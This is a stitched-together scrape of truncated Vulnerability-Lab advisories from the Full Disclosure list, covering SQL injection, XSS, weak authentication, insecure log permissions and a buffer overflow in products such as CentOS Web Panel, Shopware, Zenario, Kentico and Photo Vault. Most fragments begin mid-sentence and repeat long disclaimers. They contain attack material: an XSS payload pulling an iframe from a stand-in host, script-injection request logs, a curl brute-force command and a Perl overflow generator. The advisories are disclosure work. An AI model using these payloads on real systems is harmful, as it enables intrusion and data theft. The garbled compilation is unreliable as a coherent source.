[FD] CentOS Web Panel v0.9.8.12 - Remote SQL Injection Vulnerabilities
AD!] Response Header: Date[Mon, 25 Apr 2016 12:32:33 GMT] Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27] X-Powered-By[PHP/5.4.27] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Keep-Alive[timeout=5, max=100] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html] Reference(s): http://cwp.localhost:2030/ http://cwp.localhost:2030/index.php http://cwp.localhost:2030/index.php?module=list_domains Security Risk: == The security risk of the remote sql-injection web vulnerability in the centos web panel application is estimated as high. (CVSS 7.5) Credits & Authors: == Vulnerability-Lab [ad...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact:ad...@vulnerability-lab.com - resea...@vulnerability-lab.com- ad...@evolution-sec.com Section:magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or resea...@vulnerability-lab.com) to get a ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Acadmic Microsoft - API Query Filter Cross Site Scripting Vulnerability
%20http%3A%2F%2Fevil.source%3E%3C%2Fiframe%3E%40&correlationId=undefined HTTP/1.1 Host: academic.microsoft.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0 Accept: */* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest Referer: https://academic.microsoft.com/ Cookie: utag_main=v_id:015b543cdafd00b14436aadab8900104400390090086e$_sn:1$_ss:0$_st:1491768750447$ses_id:1491766926079%3B exp-session$_pn:2%3Bexp-session; s_norv=1491766950419-New; s_vnum=1493611200871%26vn%3D1; s_invisit=true; s_dslv=1491766950423; s_dslv_s=First%20Visit; s_ppn=mpdacad%3Aen-us%3Aregister; s_ppvl=mpdacad%253Aen-us%253Alogin%2C100%2C89%2C643%2C1355%2C621%2C1366%2C768%2C1%2CP; s_ppv=mpdacad%253Aen-us%253Aregister%2C100%2C92%2C675%2C1355%2C621%2C1366%2C768%2C1%2CP; s_fid=2DCC642E0324D787-3D30FA055450DC93; s_cc=true; s_sq=msstompdacad%3D%2526c.%2526a.%2526activitymap.%2526page%253Dmpdacad%25253Aen- us%25253Aregister%2526link%253DSign%252520up%252520with%252520Microsoft%252520account%2526region%253Dmain%2526pageIDType%253D1%2526. activitymap%2526.a%2526.c%2526pid%253Dmpdacad%25253Aen-us%25253Aregister%2526pidt%253D1%2526oid%253DSign%252520up%252520with%252520 Microsoft%252520account%2526oidt%253D3%2526ot%253DSUBMIT; AMCV_EA76ADE95776D2EC7F000101%40AdobeOrg= -179204249%7CMCMID%7C28933220378893493633963593270039587370; MSFPC=ID=d9c52c60bfa3454780dd8fed1ee6d500&CS=1&LV=201704&V=1; msacademic=da629bfe-3e6a-4e63-8c85-d684ae83d1d6 Connection: close - Response: HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Sun, 09 Apr 2017 12:55:23 GMT Connection: close Content-Length: 230 Reference(s): https://academic.microsoft.com/ https://academic.microsoft.com/api/ https://academic.microsoft.com/api/search/ https://academic.microsoft.com/api/search/GetFilters Solution - Fix & Patch: === 2018-**-**: Security Acknowledgements (Microsoft Security Response Center Team) - Unresponsive Security Risk: == The security risk of the non-persistent cross site scripting web vulnerability is estimated as medium. (CVSS 3.2) Credits & Authors: == Vulnerability Laboratory [Research Team] - Lawrence Amer (http://lawrenceamer.me) Profile: https://www.vulnerability-lab.com/show.php?user=Lawrence Amer Disclaimer & Information: ========= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability La
[FD] CentOS Web Panel v0.9.8.12 - Non-Persistent Cross Site Scripting Vulnerabilities
tacks. Escape the output content of the error exception for invalid inputs to prevent the execution point of the client-side vulnerability. Security Risk: == The security risk of the client-side cross site scripting web vulnerability in the centos web panel is estimated as medium (CVSS 3.3). Credits & Authors: == Benjamn Kunz Mejri (Vulnerability Laboratory) - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Shopware 5.2.5 & v5.3 - Multiple Cross Site Scripting Web Vulnerabilities
ulnerability can be patched by a secure parse of the customer (kunden) and orders (bestellungen) context listings. Parse or escape the context and disallow special chars during the registration or add to prevent further script code injection attacks. The vulnerability can be resolved by an update to version 5.3.4 that is delivered by the manufacturer. The issue risk is marked as moderate. Security Risk: == The security risk of the stored cross site scripting vulnerabilities in the shopware cms are estimated as medium. (CVSS 4.4) Credits & Authors: == Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.] Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] CentOS Web Panel v0.9.8.12 - Multiple Persistent Web Vulnerabilities
; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[http://localhost:2030/index.php?module=mail_add-new] Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1] Connection[keep-alive] POST-Daten: ifpost[yes] email_address[%3E%22%3CPAYLOAD INJECTION POINT!+src] domain[test-domain.com] password[%3E%22%3CPAYLOAD INJECTION POINT!+src] Response Header: Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27] X-Powered-By[PHP/5.4.27] Keep-Alive[timeout=5, max=100] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html] PoC: POST via add Mailbox in email input Email domain test-domain.com created. Mailbox a>"<%3E%22%3CPERSISTENT SCRIPT CODE PAYLOAD EXECUTION!+src>@test-domain.com created. Create a New Email Account or Forwarder (MailBox/Forwarder) Here you can create a new email account or forwarder. Create a New Email Account (MailBox) Minimize Reference(s): http://localhost:2030/index.php?module=mail_add-new Solution - Fix & Patch: === The vulnerabilities can be patched by a sanitize in the vulnerable `id` and `email address` parameters of the index.php file POST method request. Disallow usage of special chars and restrict the parameter input to prevent script code injection attacks. Filter in the output error location or the item listing the vulnerable location were the code point occurs. Security Risk: == The security risk of the application-side input validation vulnerabilities in the web-application are estimated as medium. (CVSS 4.4) Credits & Authors: == Benjamin K.M. [b...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Photo Vault v1.2 iOS - Insecure Authentication Vulnerability
Document Title: === Photo Vault v1.2 iOS - Insecure Authentication Vulnerability References (Source): https://www.vulnerability-lab.com/get_content.php?id=2110 Release Date: = 2018-01-16 Vulnerability Laboratory ID (VL-ID): 2110 Common Vulnerability Scoring System: 4.8 Vulnerability Class: Insecure Storage of Sensitive Information Current Estimated Price: 1.000€ - 2.000€ Product & Service Introduction: === https://itunes.apple.com/us/app/id1053383947 Abstract Advisory Information: == The vulnerability labortory core research team discovered a insecure authentication issue in the official Vulnerability Disclosure Timeline: == 2018-01-16: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Affected Product(s): PhotoRange Product: Photo Vault - Mobile (Web-Application) 1.2 Exploitation Technique: === Local Severity Level: === Medium Technical Details & Description: An insecure configuration vulnerability has been discovered in the official iOS mobile Photo Vault v1.2 iOS web-application. The vulnerability is located in the login mechanism and password request communication. In case of the activated wifi in the app it is possible to remotly access (http-server) the protected vault by a password. The password request is a simple less protected attempt to the login.html file with `_` to split between the password and file. There is no request limitation to block automated attacks. Attackers can perform fast enumerate the password by simply audits against the http basic authentication mechanism. Remote attackers can use an automated dictionary attack or compromise by manual basic http bruteforce attack via curl, nmap or http-brute. Attackers can fast gain unauthorized access the private vault over the activated wifi web-application in the same network. A second minor problem is that there is no https protocol activated for the wifi http-server communication in the network. Taken together, these two problems pose a significant risk to users and individuals, based on sensitive information stored in the vault of the mobile iOS application. The security risk of the insecure authentication configuration vulnerability is estimated as medium with a cvss count of 4.8. Exploitation of the vulnerability requires network access to connect to the web-server via wifi without user interaction. Successful exploitation of the vulnerability results in unauthorized access to private vault data or sensitive information. Proof of Concept (PoC): === The security issue can be exploited by remote attackers without privileged user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below. PoC: http_code=$(curl -L -data password="passwdords.txt" "$url http://Localhost:9900/login.html__"; -w '%{http_code}' -o /root/fuzztime -s) #forensic --- PoC Session Logs [GET] --- GET http://localhost:9900/login.html Host: Localhost:9900 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://Localhost:9900/ Connection: keep-alive Upgrade-Insecure-Requests: 1 Date: Sat, 06 Jan 2018 15:06:20 GMT Accept-Ranges: bytes Transfer-Encoding: chunked Note: Requests first the login page - GET http://localhost:9900/login.html__passwd1 Host: Localhost:9900 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost:9900/login.html Connection: keep-alive Upgrade-Insecure-Requests: 1 Date: Sat, 06 Jan 2018 15:06:26 GMT Accept-Ranges: bytes Transfer-Encoding: chunked Note: Access to vault of ios mobile application was cracked in a forensic access test within 15 minutes. Reference(s): http://localhost:9900/ http://localhost:9900/login.html http://localhost:9900/login.html__ Security Risk: == The security risk of the vulnerability in the mobile vault application is eastimated as medium (CVSS 4.8). Credits & Authors: == Benjamin K.M. [b...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warran
[FD] Zenario v7.6 CMS - SQL Injection Web Vulnerability
A%228ovqgY47Ej1ExIotzyCRzQ%3D%3D%22%2C%22session%22%3Afalse%7D%7D] Response Header: Server[Apache/2.4.23 (Ubuntu)] X-Frame-Options[SAMEORIGIN] Content-Length[1862] Connection[Keep-Alive] Content-Type[text/html; charset=UTF-8] Reference(s): http://zenario.localhost:8080/ http://zenario.localhost:8080/zenario/ http://zenario.localhost:8080/zenario/admin/ http://zenario.localhost:8080/zenario/admin/admin_boxes.ajax.php Solution - Fix & Patch: === 1. Escape the content of the name input field 2. Sanitize the parameter of the current_value 3. Disallow the usage of special chars in the current_value parameter 4. Use a prepared statement to prevent further exploitation Security Risk: == The security risk of the remote sql-injection web vulnerability in the web-application is estimated as medium (cvss 5.7). Credits & Authors: == Vulnerability-Lab [resea...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] MagicSpam 2.0.13 - Insecure File Permission Vulnerability
Document Title: === MagicSpam 2.0.13 - Insecure File Permission Vulnerability References (Source): https://www.vulnerability-lab.com/get_content.php?id=2113 Release Date: = 2018-01-12 Vulnerability Laboratory ID (VL-ID): 2113 Common Vulnerability Scoring System: 2.8 Vulnerability Class: Privacy Violation - Information Disclosure Current Estimated Price: 500€ - 1.000€ Product & Service Introduction: === MagicSpam comes fully-integrated with any Plesk 12+ package, blocking spam at the edge before it gets a chance to be filtered. There’s no need to change DNS or MX records. And your protection comes ready to go with complete logging, statistics, and custom controls. (Copy of the Homepage: https://www.plesk.com/extensions/magicspam/ ) Abstract Advisory Information: == An independent vulnerability laboratory researcher discovered a insecure file permission vulnerability in the MagicSpam 2.0.13-1 plesk extension. Vulnerability Disclosure Timeline: == 2017-01-12: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Affected Product(s): LinuxMagic Product: MagicSpam - Plesk Extension 2.0.13-1 Exploitation Technique: === Remote Severity Level: === Low Technical Details & Description: An insecure file permission access vulnerability has been discovered in the MagicSpam 2.0.13-1 plesk extension. The vulnerability allows an attacker to access sensitive information like emails without permission or authentication. Plesk panel features the freemium extension MagicSpam providing industry-leading spam protection technologies. MagicSpam is keeping a detailed log of all e-mail messages processed under directory /var/log/magicspam/ in Ubuntu installations. A log file is created with the name mslog, with readable permissions for everyone, and rotated daily. The file will reveal the full list of mailboxes on the server (provided they received or sent at least one message in the past). The security risk of the permission vulnerability is estimated as low with a common vulnerability scoring system count of 2.8. Successful exploitation of the file permission security vulnerability results in information disclosure of emails. Proof of Concept (PoC): === The insecure file permission vulnerability can be exploited by remote attackers without user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. $ id uid=1002(marco) gid=1011(marco) groups=1011(marco) $ cd /var/log/magicspam/ $ ls -l -rw-r--r-- 1 magicspam root 348937 Jan 10 11:50 mslog $ tail -n1 mslog 2018-01-10 11:51:26 magicspam-daemon[335]: HAM: mua=no,ip=[93.94.32.17:mail15.clab99a.contactlab.it],helo=,from=<564020151.35960.1000...@t.contactlab.it>,rcpt= Solution - Fix & Patch: === The security vulnerability can be resolved byan exclude of the emails in the list of the affected application log files. Another solution could be to integration an authentication mechanism for the log file of the magic spam web-application. Security Risk: == The security risk of the insecure file permission vulnerability in the plesk extension magic spam is estimated as medium (CVSS 2.8). Credits & Authors: == Marco Marsala [ma...@thenetworksolution.it] - https://www.vulnerability-lab.com/show.php?user=Marco+Marsala Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, inv
[FD] Kentico CMS v11.0 - Stack Buffer Overflow Vulnerability
d the xml config file to overwrite the ecx and eip registers. The installation path and the iis website values are not exploitable, because of the active content restrictions of the process that drops an invalid argument exception to prevent. PoC: Exploit Code (XML) PoC: Exploitation (Perl) #!/usr/bin/perl my $Buff = "A" x 3000; open(MYFILE,'>>kentico_unicode_payload.txt'); print MYFILE $Buff; close(MYFILE); print "PoC (c) Vulnerability-Laboratory"; --- PoC Debug Session Logs [WinDBG] --- (1522.21ec): Stack buffer overflow - code c409 eax= ebx=0044b208 ecx=00410041 edx=513cc7c2 esi=003a22d0 edi=00477cd0 eip=41004100 esp= ebp= iopl=0 nv up ei pl nz na po nc cs=001c ss=0022 ds=0022 es=0022 fs=002c gs= efl= 41414141 cc22 - EXCEPTION_RECORD: -- (.exr ) ExceptionAddress: 41414141 ExceptionCode: c409 (Stack Buffer Overflow) ExceptionFlags: 0001 NumberParameters: 1 Parameter[0]: 0002 Solution - Fix & Patch: === The vulnerability can be patched by a secure file size and input character restriction like on the iis scheme website input. Parse the full xml file on import and restrict the memory size on imports to prevent further buffer overflow attacks. Security Risk: == The security risk of the local stack buffer overflow vulnerability in the kentico cms software is estimated as high. (CVSS 6.0) Credits & Authors: == Benjamin K.M. [b...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - SUBMISSION REVIEW TEAM DOMAIN: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SonicWall GMS v8.1 - Filter Bypass & Persistent Vulnerability
e 31th october 2016 and was finally resolved 2017 Q1 (v8.2). Please update your gms appliance web-application via service update or by manual interaction to prevent attacks. Security Risk: == The security risk of the persistent input validation vulnerability and filter bypass issue is estimated as medium. (CVSS 4.1) Credits & Authors: == Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.] [www.vulnerability-lab.com] Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php- vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
